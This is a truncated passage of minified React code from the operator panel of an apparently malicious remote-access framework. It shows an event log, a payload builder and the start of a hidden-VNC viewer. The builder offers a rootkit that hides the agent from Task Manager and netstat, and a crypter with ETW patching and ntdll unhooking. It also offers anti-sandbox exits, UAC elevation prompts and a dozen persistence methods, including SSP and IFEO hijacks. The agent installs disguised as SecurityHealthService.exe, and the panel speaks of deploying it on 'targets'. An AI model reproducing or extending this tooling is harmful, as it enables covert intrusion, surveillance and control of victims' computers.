24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(JU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function JU({event:e,expanded:t,onToggle:n}){const r=C2[e.severity]||C2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:HS[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:HA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function P2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:`
px-3 py-1 text-xs font-medium border transition-all duration-150
${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}
`,children:e})}const E2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function A2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const _2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],eV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function tV(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(mj,pj),g=x.status==="building",[y,v]=p.useState(A2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,_]=p.useState(""),[A,O]=p.useState(E2),[P,I]=p.useState(!1),[U,D]=p.useState("exe"),[M,F]=p.useState(0),[R,W]=p.useState(!0),[$,H]=p.useState(!0),[X,se]=p.useState(!0),[ue,ge]=p.useState(!0),[xe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[K,ne]=p.useState("SecurityHealthService.exe"),[B,ie]=p.useState(null),ve=p.useCallback(async()=>{try{const q=await $E();t(q)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{ve(),BE().then(q=>{w(te=>te.length===1&&te[0]===""?[q.default_callback_url]:te)}).catch(()=>{})},[ve]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const me=Math.floor((Date.now()-x.startedAt)/1e3);u(me);const V=Math.min(95,Math.floor(100*(1-Math.exp(-me/50))));l(V)},500),te=Math.floor((Date.now()-x.startedAt)/1e3);return u(te),l(Math.min(95,Math.floor(100*(1-Math.exp(-te/50))))),()=>clearInterval(q)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Hg(),ve()):x.status==="error"&&(f(x.error||"Failed to build payload"),Hg())},[x.status]),p.useEffect(()=>{if(!m)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[m]);function we(){v(A2()),k("30"),N("25"),_(""),O(E2),I(!1),D("exe"),F(0),W(!0),H(!0),se(!0),ge(!0),Y(1),C("Microsoft\\WindowsUpdate"),ne("SecurityHealthService.exe")}async function _e(q){q.preventDefault(),f("");const te=b.filter(Z=>Z.trim()!=="");let me=0;z&&(me=Math.floor(new Date(z).getTime()/1e3));const V={name:y.trim(),callback_urls:te,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:me,user_agent:A.trim(),output_format:U,debug:P,persist_methods:M||void 0,rootkit_enabled:R,encryption_enabled:$,anti_vm:X,auto_elevate:ue,install_dir:xe,install_subdir:ee,install_filename:K};EA(V.name);try{await RE(V),AA(),we()}catch(Z){Z instanceof di?Vg(Z.message):Vg("Failed to build payload")}}async function L(q){const te=rt();if(!te){f("Not authenticated");return}try{const me=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${te}`}});if(!me.ok){f("Download failed");return}const V=await me.blob(),Z=URL.createObjectURL(V),fe=document.createElement("a");fe.href=Z;const E=me.headers.get("content-disposition"),oe=E==null?void 0:E.match(/filename="(.+?)"/);fe.download=(oe==null?void 0:oe[1])||`${q.name||"payload"}.exe`,document.body.appendChild(fe),fe.click(),document.body.removeChild(fe),URL.revokeObjectURL(Z)}catch{f("Download failed")}}async function de(q){try{await FE(q),ie(null),ve()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:`
text-sm font-medium px-4 py-2 transition-all duration-150
${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"}
`,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:_e,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(pr,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})}),s.jsx(pr,{label:"Output Format",children:s.jsxs("select",{value:U,onChange:q=>{const te=q.target.value;D(te),te==="exe"&&F(me=>me&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(pr,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:q=>k(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200\r
[appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(pr,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:q=>N(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r
[&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r
[&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r
[&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r
[&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(pr,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:q=>_(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200\r
[color-scheme:dark]`})})]}),s.jsx(pr,{label:"User Agent",children:s.jsx("input",{type:"text",value:A,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})}),s.jsx(pr,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:eV.map(q=>{const te=q.dllOnly&&U==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors
${te?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:te,onChange:me=>{F(me.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),te&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),s.jsx(pr,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:xe,onChange:q=>Y(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:K,onChange:q=>ne(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})]})]})}),s.jsxs(pr,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:R,onChange:q=>W(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:q=>H(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1
${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:X,disabled:!$,onChange:q=>se(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ue,onChange:q=>ge(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>I(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer
${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200
${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r
px-5 py-2 transition-all duration-150\r
disabled:opacity-50 disabled:cursor-not-allowed\r
flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(_2.filter(q=>q.at<=o).pop()??_2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 3060 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(q=>{let te={};try{te=JSON.parse(q.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:q.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:q.agent_pubkey,children:[(q.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:q.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:No(q.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:km(q.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>L(q),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),B===q.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>de(q.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ie(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ie(q.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},q.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function pr({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const nV=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function rV(){const{id:e}=qo(),[t]=xx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,_]=p.useState({w:0,h:0}),[,A]=p.useState(""),[O,P]=p.useState(null),[I,U]=p.useState(!1),[D,M]=p.useState(!1),F=p.useRef(!1),[R,W]=p.useState({w:0,h:0});p.useEffect(()=>{const V=l.current;if(!V)return;const Z=new ResizeObserver(fe=>{const E=fe[0];E&&W({w:E.contentRect.width,h:E.contentRect.height})});return Z.observe(V),()=>Z.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||R.w<=0||R.h<=0)return null;const V=Math.min(R.w/z.w,R.h/z.h);return{width:Math.floor(z.w*V),height:Math.floor(z.h*V)}},[z,R]),H=p.useRef({x:0,y:0,w:0,h:0}),X=p.useRef(null),se=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;X.current||(X.current=fe.getContext("2d"));const E=X.current;if(!E)return;const oe=H.current;if(oe.w>0&&E.clearRect(oe.x,oe.y,oe.w,oe.h),V<0||Z<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:V-1,y:Z-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(V,Z),E.lineTo(V,Z+18),E.lineTo(V+5,Z+14),E.lineTo(V+9,Z+21),E.lineTo(V+12,Z+20),E.lineTo(V+8,Z+13),E.lineTo(V+13,Z+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;const E=fe.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(V,Z,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{se(u.current.x,u.current.y)},150))},[se]),ge=p.useCallback((V,Z,fe,E,oe)=>{F.current||(F.current=!0,M(!0)),_({w:Z,h:fe});const J=i.current;if(!J)return;const pe=J.getContext("2d");if(!pe)return;(J.width!==Z||J.height!==fe)&&(J.width=Z,J.height=fe);const be=a.current;if(be&&(be.width!==Z||be.height!==fe)&&(be.width=Z,be.height=fe,X.current=null),typeof V=="string"){const ke=c.current||new Image;c.current=ke,ke.onload=()=>{pe.drawImage(ke,0,0)},ke.src=V}else V instanceof ImageBitmap?(pe.drawImage(V,0,0),V.close()):pe.drawImage(V,0,0)},[r]),xe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:K,disconnect:ne}=pv({agentId:e||"",mode:n,onFrame:ge,onDisconnect:xe});p.useEffect(()=>{e&&K()},[e,K]);const B=p.useCallback(V=>{const Z=a.current,fe=i.current;if(!Z||!fe||z.w===0)return{x:0,y:0};const 